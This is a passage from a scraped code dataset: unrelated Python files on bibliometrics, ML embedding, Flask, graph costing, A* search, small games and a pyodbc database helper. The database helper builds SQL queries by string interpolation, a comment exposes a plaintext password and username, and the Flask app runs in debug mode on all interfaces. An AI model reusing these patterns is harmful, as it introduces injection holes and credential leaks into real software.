df.drop(columns=['abstract_object']).to_csv(path_out + 'oa' + my_timestamp() + str(MY_YEAR) + '.csv')\n\n\n # diagnose\n # verval-analyse\n print('verval-analyse')\n print('aantal scopus publicaties: ' + str(len(df)))\n print('api error: abstract API: ' + str( len(df[df.abstract_error_message == 'abstract api error']) ))\n print('api error: authgroup/afdelinginfo: ' + str( df.no_author_group_warning.sum() )) # ab.authgroup error\n print('api error: authgroup.x/afdelinginfo details: ' + str( len(df[df.first_affil_author_has_error == True]) )) # ab.authgroup ok, error deeper in it\n print('api missing data: data afdelingsinfo ontbreekt no1: ' + str( len(df[(df.first_affil_author == None) & (df.first_affil_author_has_error == False)]) ))\n print('api missing data: data afdelingsinfo ontbreekt no2: ' + str( len(df[df.first_affil_author_org == None]) ))\n # pas hier heb je data om mee te werken\n print('no match: no faculty name match and bag of words only has trivial words (zoals lidwoorden en Amsterdam): ' + str( len(df[df.ff_message == 'no faculty name match and bag of words only has trivial words']) ))\n print('no match: no faculty name match and no bag of words match despite non-trivial words (vaak VUMC, soms typo): ' + str( len(df[df.ff_message == 'no faculty name match and no bag of words match despite non-trivial words']) ))\n print('aantal matches: ' + str( len(df[df.ff_score>0]) ))\n # diagnostics can be improved further by capturing the last 6 fails too\n\n # print done\n print('done')\n\n\n\n # extra: post-process\n\n ##df = pd.read_csv(r'C:\\Users\\yasin\\Desktop\\oa new csv\\OA_VU2018_met_corresponding_authors.csv')\n ##list(df)\n\n # this also drop abstract_object(!)\n df2 = df[[ 'eid',\n 'doi',\n 'title',\n 'year',\n 'publicationName',\n 'issn',\n 'eIssn',\n 'fund_sponsor',\n 'aggregationType',\n 'first_affil_author',\n 'first_affil_author_org',\n 'ff_match',\n 'ff_match_subgroup',\n 'ff_message',\n 'ff_provided_organization_string',\n 'ff_score',\n 'ff_terms',\n 'upw_free_fulltext_url',\n 'upw_is_boai_license',\n 'upw_is_free_to_read',\n 'upw_is_subscription_journal',\n 'upw_license',\n 'upw_oa_color_category',\n 'upw_oa_color_verbose',\n 'upw_oa_color', # internal\n 'deal_name',\n 'deal_owner',\n 'deal_discount',\n 'deal_discount_verbose',\n 'deal_owner_verbose',\n 'corresponding_author_surname',\n 'match_affiliation_id',\n 'match_surname',\n 'match_indexed_name',\n 'match_auid',\n 'match_aut_score',\n 'is_corresponding_author_a_vu_author',\n 'is_corresponding_author_a_ukb_author']]\n col_rename_dict = { 'publicationName' : 'journal_name',\n 'first_affil_author' : 'first_VU_author',\n 'first_affil_author_org' : 'first_VU_author_raw_organization_info',\n 'ff_match': 'faculty_(matched)',\n 'ff_match_subgroup': 'subgroup_(matched)',\n 'ff_message': 'diagnostics: ff message',\n 'ff_provided_organization_string': 'diagnostics: ff raw input ',\n 'ff_score': 'diagnostics: ff score',\n 'ff_terms': 'diagnostics: ff matching words',\n 'upw_free_fulltext_url': 'fulltext_free_url',\n 'upw_is_boai_license': 'is_a_boai_license',\n 'upw_is_free_to_read': 'is_free_to_read',\n 'upw_is_subscription_journal': 'is_a_subscription_journal',\n 'upw_license': 'license',\n #'upw_oa_color_category': '', # internal\n 'upw_oa_color_verbose': 'open_access_color',\n #'deal_name',\n 'deal_owner' : 'deal_owner_raw',\n # 'deal_discount_verbose', # internal\n 'deal_owner_verbose' : 'deal_scope',\n #'corresponding_author_surname',\n 'match_affiliation_id' : 'corresponding_author_affiliation_id_(matched)',\n 'match_surname': 'corresponding_author_surname_(matched)',\n 'match_indexed_name': 'corresponding_author_indexed_name_(matched)',\n 'match_auid': 'corresponding_author_author_id_(matched)',\n 'match_aut_score': 'diagnostics:corresponding_author_match_score'}\n # 'is_corresponding_author_a_vu_author',\n # 'is_corresponding_author_a_ukb_author'}\n df2 = df2.rename(columns=col_rename_dict)\n\n def get_contact_point(row):\n if row.is_corresponding_author_a_vu_author is True:\n res = row['corresponding_author_indexed_name_(matched)']\n else:\n res = row['first_VU_author']\n # bij een workflow moet er even op PURE gekeken worden naar de huidige faculteit/groep van de auteur (evt hand/automatisch)\n return res\n df2['vu_contact_person'] = df2.apply(get_contact_point,axis=1)\n if do_save:\n df2.to_csv(path_out + 'knip_OA_VU' + str(MY_YEAR) + '_met_corresponding_authors.csv')\n df2.to_excel(path_out + 'knip_OA_VU' + str(MY_YEAR) + '_met_corresponding_authors.xlsx')\n\n dict_output[MY_YEAR] = df2\n\n print('done with scopus arm')\n return dict_output\n","repo_name":"Yasin-VU/simple-python-bibliometrics","sub_path":"oa2019.py","file_name":"oa2019.py","file_ext":"py","file_size_in_byte":14230,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"54"} +{"seq_id":"12068767157","text":"from collections import deque\nfrom typing import List, Optional\n\n\n# Definition for a binary tree node.\nclass TreeNode(object):\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\n\nclass Codec:\n\n SEPARATOR = \",\"\n NULL_TOKEN = \"null\"\n\n def serialize(self, root: Optional[TreeNode]) -> str:\n \"\"\"Encodes a tree to a single string.\n \n :type root: TreeNode\n :rtype: str\n \"\"\"\n\n def push(rt: Optional[TreeNode]):\n if rt == None:\n stack.append(Codec.NULL_TOKEN)\n else:\n stack.append(str(rt.val))\n push(rt.left)\n push(rt.right)\n\n stack = deque()\n push(root)\n return (Codec.SEPARATOR).join(stack)\n\n def deserialize(self, data: str) -> TreeNode:\n \"\"\"Decodes your encoded data to tree.\n \n :type data: str\n :rtype: TreeNode\n \"\"\"\n\n def get_subtree() -> Optional[TreeNode]:\n if len(stack) == 0:\n return None\n\n nxt: Optional[int] = stack.popleft()\n if nxt == None:\n return None\n rt = TreeNode(nxt)\n rt.left = get_subtree()\n rt.right = get_subtree()\n\n return rt\n\n stack = deque(\n map(\n lambda s: None if s == Codec.NULL_TOKEN else int(s), \n data.split(Codec.SEPARATOR)\n )\n )\n\n return get_subtree()\n\n\nif __name__ == \"__main__\":\n ser = \"1,2,3,null,null,4,5\"\n\n codec = Codec()\n\n des = codec.deserialize(ser)\n\n print(des)","repo_name":"ky1e-cyber/nsu-syspro-hw","sub_path":"Algorithms/pack8/mini21.py","file_name":"mini21.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74499581601","text":"from flask import Flask, render_template, request, jsonify\n\napp = Flask(__name__)\n\nfrom list import list_blueprint\nfrom new import new_blueprint\nfrom jsons import json_blueprint\nfrom image import image_blueprint\n\napp.register_blueprint(list_blueprint)\napp.register_blueprint(new_blueprint)\napp.register_blueprint(json_blueprint)\napp.register_blueprint(image_blueprint)\n\nfrom sqlalchemy import create_engine\nfrom sqlalchemy.orm import sessionmaker\nfrom database import *\n\nengine = create_engine('sqlite:///dotplace.db')\nDBSession = sessionmaker(bind=engine)\nsession = DBSession()\n\n\n@app.route('/')\ndef MainPage():\n return render_template('index.html')\n\n\ndef TripView(trip_id):\n trip = session.query(Trip).filter_by(id=trip_id).one()\n pos = session.query(Position).filter_by(trip_id=trip_id).all()\n return render_template('trip.html', trip=trip, positions=pos)\n\n\n@app.route('/position/exists/')\ndef PositionExists(position_id):\n position = session.query(Position).filter_by(id=position_id)\n if position.count() > 0:\n return str(1)\n else:\n return str(0)\n\n\n@app.route('/image/exists/')\ndef ImageExists(image_id):\n image = session.query(Image).filter_by(id=image_id)\n if image.count() > 0:\n return str(1)\n else:\n return str(0)\n\n\nif __name__ == '__main__':\n app.debug = True\n app.run(host='0.0.0.0', port=8080)","repo_name":"epikjjh/DotPlaceServer","sub_path":"DotPlaceServer_Flask/DotPlaceServer.py","file_name":"DotPlaceServer.py","file_ext":"py","file_size_in_byte":1399,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"38487332414","text":"import torch\nimport torch.nn.functional as F\nfrom torch.nn import Module, Sequential, Identity\nfrom math import log10\n\ndef salt_and_pepper(x_in, prob):\n \"\"\"\n Add salt and pepper noise to an image\n Inputs:\n x_in: input image\n prob: probability of noise\n Outputs:\n x_out: noisy image\n \"\"\"\n x_out = x_in.clone()\n noise_tensor=torch.rand_like(x_out)\n salt=torch.max(x_out)\n pepper=torch.min(x_out)\n x_out[noise_tensor < prob/2]=salt\n x_out[noise_tensor > 1-prob/2]=pepper\n return x_out\n\nclass Clip(Module):\n \"\"\"\n Clip the input to the 10th percentile\n Used to remove outliers\n \"\"\"\n def __init__(self):\n super().__init__()\n \n def forward(self, x):\n eps = torch.sort(x.reshape(-1))[0][int(0.1*x.numel())].item() #90 percentile\n return torch.clip(x, eps) \n\nclass Log(Module):\n \"\"\"\n Logarithm of the input\n \"\"\"\n def __init__(self, eps = 1e-3):\n super().__init__()\n self.eps = eps\n \n def forward(self, x):\n return torch.clip(x, self.eps).log10()\n\nclass MinMax(Module):\n \"\"\"\n MinMax normalization of the input\n \"\"\"\n def __init__(self):\n super().__init__()\n \n def forward(self, x):\n return (x - x.min()) / (x.max() - x.min()) \n\nclass Transform(Module):\n \"\"\"\n Preprocessing of the input\n Inputs:\n to_log (bool): apply log to the input\n to_minmax (bool): apply minmax normalization to the input\n to_equalize (bool): apply histogram equalization to the input\n in_shape (bool): shape of the input\n out_shape (bool): shape of the output\n \"\"\"\n def __init__(self, to_log: bool, to_minmax: bool, to_equalize: bool, in_shape: list = None, out_shape: list = None):\n super().__init__()\n self.in_shape = in_shape\n self.out_shape = out_shape\n self.transform = [Clip()]\n if to_log:\n self.transform.append(Log())\n if to_minmax:\n self.transform.append(MinMax())\n if to_equalize:\n self.transform.append(Equalize())\n if not len(self.transform):\n self.transform.append(Identity())\n self.transform = Sequential(*self.transform)\n\n def __call__(self, x):\n x = x.view(-1, *self.in_shape)[:,:,128:300]\n x = self.transform(x)\n return x\n","repo_name":"maxxxzdn/gisaxs-reconstruction","sub_path":"dataset/preprocessing.py","file_name":"preprocessing.py","file_ext":"py","file_size_in_byte":2362,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"40205147524","text":"import json\nimport os\nimport pickle\nimport csv\nimport numpy as np\nimport random as rd\nfrom nltk.tokenize import word_tokenize\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom pytorch_pretrained_bert import BertTokenizer\nfrom pytorch_pretrained_bert import BertModel\n\n# Global variables\nbatch_size = 4\ndevice = 'cuda:0'\nmax_seq_len = 512\n\n# set random seed\nrd.seed(9001)\nnp.random.seed(9001)\n\ndef extract_vector_representations(model, data, tokenizer):\n\tmodel = model.eval()\n\t# fieldnames = ['_id', 'table', 'abstract']\n\tX = []; Mask = []; \n\tfor rec in data:\n\t\ttext = rec['abstract']\n\t\ttokenized_text = tokenizer.tokenize('[CLS] ' + text.lower())[0:512]\n\t\tidx_seq = tokenizer.convert_tokens_to_ids(tokenized_text)\n\t\tsrc_seq = np.zeros(max_seq_len)\n\t\tsrc_seq[0:len(idx_seq)] = idx_seq\n\t\tX.append(src_seq)\n\t\tmask = np.zeros(max_seq_len)\n\t\tmask[0:len(idx_seq)] = 1\n\t\tMask.append(mask)\n\n\tX = np.vstack(X)\n\tMask = np.vstack(Mask)\n\n\tX = torch.tensor(X).to(device, dtype=torch.long)\n\tMask = torch.tensor(Mask).to(device, dtype=torch.long)\n\n\t_, encoder_output = model(X, Mask)\n\tencoder_output = encoder_output.data.to('cpu').numpy()\n\n\trecords = []\n\tfor idx, row in enumerate(data):\n\t\trec = {}\n\t\trec['table'] = row['table']\n\t\trec['_id'] = row['_id']\n\t\trec['representation'] = list(encoder_output[idx, :].tolist())\n\t\t# print (rec['table'], rec['_id'], row['table'], row['_id'])\n\t\trecords.append(rec)\n\n\t# for i in range(len(records)):\n\t# \tprint (\"Records list: \",records[i]['table'], records[i]['_id'])\n\n\treturn records\n\n\nif __name__ == '__main__':\n\t# create csv dictreader object\n\tcsv_reader = csv.DictReader(open('../processed_data/all_text_abstracts_mapped_to_table_and_id.csv','r'))\n\n\t# Load pre-trained model tokenizer (vocabulary)\n\ttokenizer = BertTokenizer.from_pretrained('bert-base-uncased', max_len=512)\n\n\tprint (\"Starting to load the saved model .....\")\n\n\tmodel = BertModel.from_pretrained('bert-base-uncased')\n\tmodel.load_state_dict(torch.load('../saved_models/bert_based/bert_retrained_mesh_model.pt'))\n\n\t# model.bert.load_state_dict(torch.load('../saved_models/bert_based/bert_retrained_mesh_model.pt'))\n\tmodel.to(device)\n\tprint (\"Done loading the saved model .....\")\n\n\tresults = []; data = []; ctr = 0;\n\tfor i, row in enumerate(csv_reader):\n\t\t# print (i)\n\t\tdata.append(row)\n\t\tif (i+1) % batch_size == 0:\n\t\t\tnew_batch_results = extract_vector_representations(model, data, tokenizer)\n\t\t\tresults = results + new_batch_results\n\t\t\tdata = []\n\t\t\t\n\t\t\tif len(results) % (4*1250) == 0:\n\t\t\t\tprint (\"Dumping :\", len(results), \" results into the file on disk\")\n\t\t\t\tjson.dump(results, open('../processed_data/vector_representations/vector_representations_'+str(ctr)+'.json', 'w'))\n\t\t\t\tresults = []; ctr += 1\n\n\tif len(results) != 0:\n\t\tprint (\"Dumping :\", len(results), \" results into the file on disk\")\n\t\tjson.dump(results, open('../processed_data/vector_representations/vector_representations_'+str(ctr)+'.json', 'w'))\n\n\n","repo_name":"gauravsc/grant-search-app","sub_path":"src/indexing/abstract_representations_using_bert.py","file_name":"abstract_representations_using_bert.py","file_ext":"py","file_size_in_byte":2934,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"810885820","text":"import json\nimport time\nfrom datetime import datetime\nimport random\n\nimport pytest\nfrom fastapi.testclient import TestClient\n\n\n@pytest.mark.smoke\ndef test_ws_push_logs(\n test_client: TestClient, test_login_token: dict, logs_for_ws: list\n):\n with test_client.websocket_connect(f\"/ws/{logs_for_ws[0]['api_key_public']}\") as ws:\n for log in logs_for_ws:\n ws.send_json(\n json.dumps(\n {\n \"kind\": \"push_log\",\n \"payload\": {\n \"name\": log[\"name\"],\n \"type\": log[\"type\"],\n \"date\": log[\"date\"],\n },\n }\n )\n )\n time.sleep(1)\n\n resp = test_client.get(\n f\"/logs/{logs_for_ws[0]['api_key_id']}\",\n headers=test_login_token[\"token\"],\n )\n\n resp_logs = resp.json()[\"logs\"]\n assert len(resp_logs) == len(logs_for_ws)\n sorted_logs = sorted(resp_logs, key=lambda log_el: log_el[\"date\"])\n for index, log in enumerate(sorted_logs):\n assert log[\"name\"] == logs_for_ws[index][\"name\"]\n assert log[\"type\"] == logs_for_ws[index][\"type\"]\n assert datetime.fromisoformat(log[\"date\"]).strftime(\n \"%Y-%m-%dT%H:%M:%SZ\"\n ) == datetime.fromisoformat(logs_for_ws[index][\"date\"]).strftime(\n \"%Y-%m-%dT%H:%M:%SZ\"\n )\n","repo_name":"Ownax-vit/loggeroProject","sub_path":"tests/test_handlers/test_ws.py","file_name":"test_ws.py","file_ext":"py","file_size_in_byte":1427,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"36700932945","text":"import sys\nimport logging\nimport networkx as nx # type:ignore\nfrom TrenchLength import getTrenchLength\nfrom RateCards import rateCardA, rateCardB\n\nG = \"\"\ntry:\n G = nx.read_graphml(\"problem.graphml\")\nexcept Exception as e:\n print(\"graphml file error\")\n logging.exception(e)\n sys.exit(1)\n\n\ndef calcRateCardA():\n total_rateCard_A = 0\n for node in G.nodes(data=True):\n value = rateCardA()[node[1][\"type\"]]\n total_rateCard_A += value\n\n for edge in G.edges(data=True):\n value = rateCardA(edge[2][\"length\"])[edge[2][\"material\"]]\n total_rateCard_A += value\n\n return total_rateCard_A\n\n\ndef calcRateCardB():\n total_rateCard_B = 0\n for node in G.nodes(data=True):\n root = [x for x, y in G.nodes(data=True) if y[\"type\"] == \"Cabinet\"]\n trenchLength = getTrenchLength(G, root[0], node[0])\n value = rateCardB(1, trenchLength)[node[1][\"type\"]]\n total_rateCard_B += value\n\n for edge in G.edges(data=True):\n value = rateCardB(edge[2][\"length\"])[edge[2][\"material\"]]\n total_rateCard_B += value\n\n return total_rateCard_B\n\n\nprint(\"total_from_rateCard_A\", calcRateCardA())\nprint(\"total_from_rateCard_B\", calcRateCardB())\n","repo_name":"deanjohns/GC_broadband","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1206,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"27566483797","text":"\"\"\"empty message\n\nRevision ID: e1fafb9bb332\nRevises: d5d15406b5ca\nCreate Date: 2017-02-07 17:16:13.016643\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nimport sqlalchemy_utils\n\n\n# revision identifiers, used by Alembic.\nrevision = 'e1fafb9bb332'\ndown_revision = 'd5d15406b5ca'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('appgroups',\n sa.Column('id', sa.Integer(), nullable=False),\n sa.Column('应用组名', sa.Unicode(length=255), nullable=True),\n sa.Column('描述', sa.Unicode(length=255), nullable=True),\n sa.PrimaryKeyConstraint('id'),\n sa.UniqueConstraint('应用组名'),\n sa.UniqueConstraint('描述')\n )\n op.create_table('appgroup_application',\n sa.Column('appgroup_id', sa.Integer(), nullable=True),\n sa.Column('application_id', sa.Integer(), nullable=True),\n sa.ForeignKeyConstraint(['appgroup_id'], ['appgroups.id'], ),\n sa.ForeignKeyConstraint(['application_id'], ['applications.id'], )\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('appgroup_application')\n op.drop_table('appgroups')\n # ### end Alembic commands ###\n","repo_name":"Eleveneat/bigcloud","sub_path":"src/web/migrations/versions/e1fafb9bb332_.py","file_name":"e1fafb9bb332_.py","file_ext":"py","file_size_in_byte":1274,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"25837537472","text":"from tkinter import *\n\ndef button_clicked():\n answer = int(user_input.get()) * 1.609\n print(int(user_input.get()) * 1.609)\n calc.config(text=f\"{round(int(user_input.get()) * 1.609)}\")\n pass\n\nwindow = Tk()\nwindow.title(\"Mile to Km Converter\")\nwindow.minsize(width=500, height=300)\nwindow.config(padx=20, pady=20)\n\n# Entry box\nuser_input = Entry(width=18)\nprint(user_input.get())\nuser_input.grid(column=1, row=0)\n\n# Labels\nlabel1 = Label(text=\"Miles\", font=(\"Arial\", 20))\nlabel1.grid(column=2, row=0)\n\nlabel2 = Label(text=\"is equal to\", font=(\"Arial\", 20))\nlabel2.grid(column=0, row=1)\n\nlabel3 = Label(text='Km', font=(\"Arial\", 20))\nlabel3.grid(column=2, row=1)\n\ncalc = Label(text='0', font=(\"Arial\", 20))\ncalc.grid(column=1,row=1)\n\n# Button\n\nbutton = Button(text=\"Calculate\", command=button_clicked)\nbutton.grid(column=1, row=2)\n\nwindow.mainloop()","repo_name":"thowardnj/mile_to_km_converter","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":858,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34421373202","text":"# Imports\nfrom PySide6 import QtWidgets\nfrom matplotlib.figure import Figure\nfrom matplotlib.backends.backend_qt5agg import FigureCanvasQTAgg as Canvas\nimport matplotlib\nimport numpy as np\n\n# Ensure using PyQt5 backend\nmatplotlib.use('QT5Agg')\n\n# Matplotlib canvas class to create figure\nclass MplCanvas(Canvas):\n def __init__(self):\n self.fig = Figure()\n self.ax = self.fig.add_subplot(111)\n Canvas.__init__(self, self.fig)\n Canvas.setSizePolicy(self, QtWidgets.QSizePolicy.Expanding, QtWidgets.QSizePolicy.Expanding)\n Canvas.updateGeometry(self)\n\n\n# Matplotlib widget\nclass MplWidget(QtWidgets.QWidget):\n def __init__(self, parent=None):\n QtWidgets.QWidget.__init__(self, parent) # Inherit from QWidget\n self.canvas = MplCanvas() # Create canvas object\n self.vbl = QtWidgets.QVBoxLayout() # Set box for plotting\n self.vbl.addWidget(self.canvas)\n self.setLayout(self.vbl)\n\n self.lines = {}\n\n def plot(self, *args, name=None, clear=False, **kwargs):\n if clear:\n self.canvas.ax.clear()\n if name:\n self.lines[name], = self.canvas.ax.plot(*args, **kwargs)\n else:\n self.canvas.ax.plot(*args, **kwargs)\n \n self.canvas.draw()\n\n def set_lims(self, xlims, ylims):\n self.canvas.ax.set_xlim(*xlims)\n self.canvas.ax.set_ylim(*ylims)\n\n def update(self, name, xs, ys, *args, auto_lims=False, **kwargs):\n self.lines[name].set_data(xs, ys, *args, **kwargs)\n\n if auto_lims:\n xs_minmax = np.min(xs) * 0.9, np.max(xs) * 1.1\n ys_minmax = np.min(ys) * 0.9, np.max(ys) * 1.1\n \n self.set_lims(xs_minmax, ys_minmax)\n\n self.canvas.draw()","repo_name":"MBataille/interactive-continuation","sub_path":"interactive_continuation/interfaces/mplwidget.py","file_name":"mplwidget.py","file_ext":"py","file_size_in_byte":1779,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"32678285422","text":"# Input Graph\ninput = {\"S\": [\"A\", \"D\"], \"A\": [\"S\", \"B\", \"C\"],\n \"B\": [\"A\", \"C\", \"D\", \"E\"], \"C\": [\"A\", \"B\", \"G\"],\n \"D\": [\"S\", \"B\", \"E\"], \"E\": [\"B\", \"D\", \"G\"], \"G\": [\"C\", \"E\"]}\n# Input Heiristic\nheuristic = {\"S\": 7, \"A\": 9, \"B\": 4, \"C\": 2, \"D\": 5, \"E\": 3, \"G\": 0}\n# Path Cost\npathcost = {\"AS\": 3, \"DS\": 4, \"AB\": 2, \"AC\": 5, \"BD\": 1,\n \"BC\": 2, \"BE\": 1, \"CG\": 4, \"DE\": 5, \"EG\": 13}\n# Initializing Empty Queue\nqueue = []\n# Initializing Cost List\ncost = []\n\n# function to determine the path\n\n\ndef PC(path):\n # initializing he as 0\n he = 0\n # looping through heruistic and checking assiging he as sum of he and heriustic[i] if i is in path\n for i in heuristic:\n if i in path:\n he = he + heuristic[i]\n # looping through the path, assiging val1,val2 and sorting them by keeping in array\n for i in range(len(path) - 1):\n val1 = path[i]\n val2 = path[i + 1]\n temp = [val1, val2]\n temp.sort()\n sn = \"\"\n for j in temp:\n sn = sn + j\n if sn in pathcost:\n he = he + pathcost[sn]\n del sn\n del temp\n return he\n\n\ndef add_path(path):\n temp = []\n # looping through path and appending it on temp\n for i in path:\n temp.append(i)\n # adding items of temp to the queue\n queue.append(temp)\n\n\ndef r(node, trace, goal):\n # checking if goal is not in trace and calling add_path function and adding trace to the cost\n if goal in trace:\n add_path(trace)\n cost.append(PC(trace))\n return\n # if goal is not in trace appending node to the trace\n if node not in trace:\n trace.append(node)\n child = input[node]\n for i in child:\n if i not in trace:\n r(i, trace, goal)\n trace.remove(node)\n\n\ndef A_star_search():\n r(\"S\", [], \"G\")\n re_p = []\n c = 100\n for i in range(len(queue)):\n print(queue[i], \"cost = \", cost[i])\n # if cost[i] is less than c then replacing cost by cost[i]\n if cost[i] < c:\n c = cost[i]\n re_p = queue[i]\n return re_p, c\n\n\nprint(\"Possible path and cost are: \")\nprint(\"\\nThe path and cost are returned by A* search as:-\\n\", A_star_search())\n","repo_name":"kpdeveloper2000/first","sub_path":"5.py","file_name":"5.py","file_ext":"py","file_size_in_byte":2213,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"16216053015","text":"import random\na = random.randint(1, 10)\nb = random.randint(1, 2)\n\ni = 0\nwhile i<5:\n i = i + 1 # i += 1\n c = int(input('Введите число от 1 до 10:'))\n d = int(input('Введите число от 1 до 2 (1 красный, 2 - черный):'))\n if a == c and b == d:\n print(f'Вы угадали число и цвет: {c} {d}')\n break\n elif a != c and b == d:\n print(f'Вы не угадали число: {c}, но угадали цвет: {d}')\n elif a == c and b != d:\n print(f'Вы угадали число: {c}, но не угадали цвет: {d}')\n else:\n print(f'Вы не угадали число и цвет: {c} {d}. Попробуйте еще раз')\nelse:\n print(f'Вы не угадали число и цвет: {c} {d}.Ваши попытки закончились')\n\n\n\n\n","repo_name":"dimdeema/mylesson","sub_path":"casino.py","file_name":"casino.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"41789993301","text":"class Districts:\n def __init__(self, dataset):\n \"\"\"\n initialize variables.\n :param dataset: Data object that contains the data\n \"\"\"\n self.dataset = dataset\n\n def filter_districts(self, letters):\n \"\"\"\n\n :param letters:\n :return:\n \"\"\"\n districts = self.dataset.get_all_districts()\n filtered_districts = []\n for district in districts:\n for letter in letters:\n if district[0] == letter:\n filtered_districts.append(district)\n self.dataset.set_districts_data(filtered_districts)\n\n def print_details(self, features, statistic_functions):\n \"\"\"\n\n :param features:\n :param statistic_functions:\n :return:\n \"\"\"\n for feature in features:\n print(\"{}: \".format(feature), end=\"\")\n feat_list = self.dataset.data[feature]\n for x in range(len(statistic_functions) - 1):\n print(\"{}, \".format(statistic_functions[x](feat_list)), end=\"\")\n print(\"{} \".format((statistic_functions[len(statistic_functions) - 1](feat_list))))\n\n def determine_day_type(self):\n \"\"\"\n adds a new key:value to the self.dataset.data dictionary,\n which classifies each day as a \"good day\" or \"not good day\".\n \"\"\"\n self.dataset.data['day_type'] = []\n for i in range(len(self.dataset.data['denominazione_region'])):\n if self.dataset.data['resigned_healed'][i] - self.dataset.data['new_positives'][i] > 0:\n self.dataset.data['day_type'].append(1)\n else:\n self.dataset.data['day_type'].append(0)\n\n def get_districts_class(self):\n \"\"\"\n creates a dictionary where one key points to the list of all \"green\" districts\n and the second key points to the list of all \"not green\" districts.\n :return:the new dictionary.\n \"\"\"\n distinct_districts = self.dataset.get_all_districts()\n self.determine_day_type()\n new_dict = {}\n new_dict['green'] = []\n new_dict['not_green'] = []\n\n for district in distinct_districts:\n green_days = 0\n for i in range(len(self.dataset.data['hospitalized_with_symptoms'])):\n if self.dataset.data['denominazione_region'][i] == district and self.dataset.data['day_type'][i] == 1:\n green_days += 1\n if green_days > 340:\n new_dict['green'].append(district)\n else:\n new_dict['not_green'].append(district)\n return new_dict\n","repo_name":"danielengel111/HW2","sub_path":"districts.py","file_name":"districts.py","file_ext":"py","file_size_in_byte":2619,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"40313358149","text":"n = list(input().lower())\nalphabet = [\"abc\",\"def\",\"ghi\",\"jkl\",\"mno\",\"pqrs\",\"tuv\",\"wxyz\"]\n\ntime = 0\n\nfor i in n :\n for word in alphabet:\n if i in word:\n time += alphabet.index(word)+3\nprint(time)\n","repo_name":"park-hyunbin/algorithm_study","sub_path":"백준 /문자열 /dial.py","file_name":"dial.py","file_ext":"py","file_size_in_byte":216,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"17156065572","text":"import pyodbc\n\n\ndef conectar():\n try:\n\n #Conexão remota\n server = 'sql-estudo.database.windows.net'\n database = 'db-estudos'\n username = 'alex.rocha@blueshift.com.br'\n Authentication = 'ActiveDirectoryInteractive'\n string_conexao = 'DRIVER={ODBC Driver 17 for SQL Server};SERVER=tcp:'+server+';PORT=1433;DATABASE='+database+';UID='+username+';AUTHENTICATION='+Authentication+''\n\n # # Coneão local\n # server = \"localhost\"\n # database = \"master\"\n # username = \"alex.rocha@blueshift.com.br\"\n # password = \"Aa@91293250\"\n # string_conexao = 'Driver={ODBC Driver 17 for SQL Server};Server=' + server + ';Database=' + database + ';Trusted_Connection=yes;'\n ## string_conexao = f'Driver={driver};Server='+server+';Database='+database+';UID='+username+';PWD='+ password;\n\n conexao = pyodbc.connect(string_conexao)\n return conexao\n except pyodbc.Error as e:\n print(f\"Não foi possível se conectar: {e}\")\n\n\ndef desconectar(conexao):\n \"\"\"\n Função para desconectar do servidor.\n \"\"\"\n if conexao:\n conexao.close()\n\n\ndef inserir(conn, tabela, colunas, valores, parametros):\n cursor = conn.cursor()\n try:\n sql = f\"INSERT INTO alex_rocha.{tabela} {colunas} VALUES {valores}\"\n\n cursor.execute(sql, parametros)\n conn.commit()\n\n if cursor.rowcount == 1:\n resposta = True\n else:\n resposta = False\n\n # desconectar(conexao)\n return resposta\n\n except pyodbc.Error as e:\n print(f\"Erro ao inserir valores {e}\")\n\n\ndef buscar(conn, tabelas, tabelas_param, nome_parametro, parametro, opcao):\n # \"\"\"Faz busca no banco de dados\"\"\"\n\n # opcao 0 : busca toda a tabela sem filtro\n # opcao 1: busca específica de parâmetro\n # opcao 2: busca entre tabelas relacionadas\n\n cursor = conn.cursor()\n\n try:\n if opcao == 0:\n cursor.execute(\n f\"SELECT * FROM alex_rocha.{tabelas}\")\n elif opcao == 1:\n cursor.execute(\n f\"SELECT * FROM alex_rocha.{tabelas} WHERE {nome_parametro} = {parametro}\")\n elif opcao == 2:\n cursor.execute(\n f\"SELECT {tabelas_param} FROM {tabelas} WHERE {nome_parametro} = {parametro}\")\n\n dados = cursor.fetchall()\n\n if len(dados) > 0:\n return dados\n else:\n return False\n\n except pyodbc.Error as e:\n print(f\"Erro na leitura do banco de dados: {e}\")\n\n\ndef update(conn, tabela, parametros, filtro):\n \"\"\"\n Função para atualizar um produto\n \"\"\"\n cursor = conn.cursor()\n\n sql = f\"UPDATE alex_rocha.{tabela} SET {parametros} WHERE {filtro}\"\n cursor.execute(sql)\n conn.commit()\n\n if cursor.rowcount > 0:\n return True\n else:\n return False\n\n\ndef delete(conn, tabela, id):\n cursor = conn.cursor()\n\n 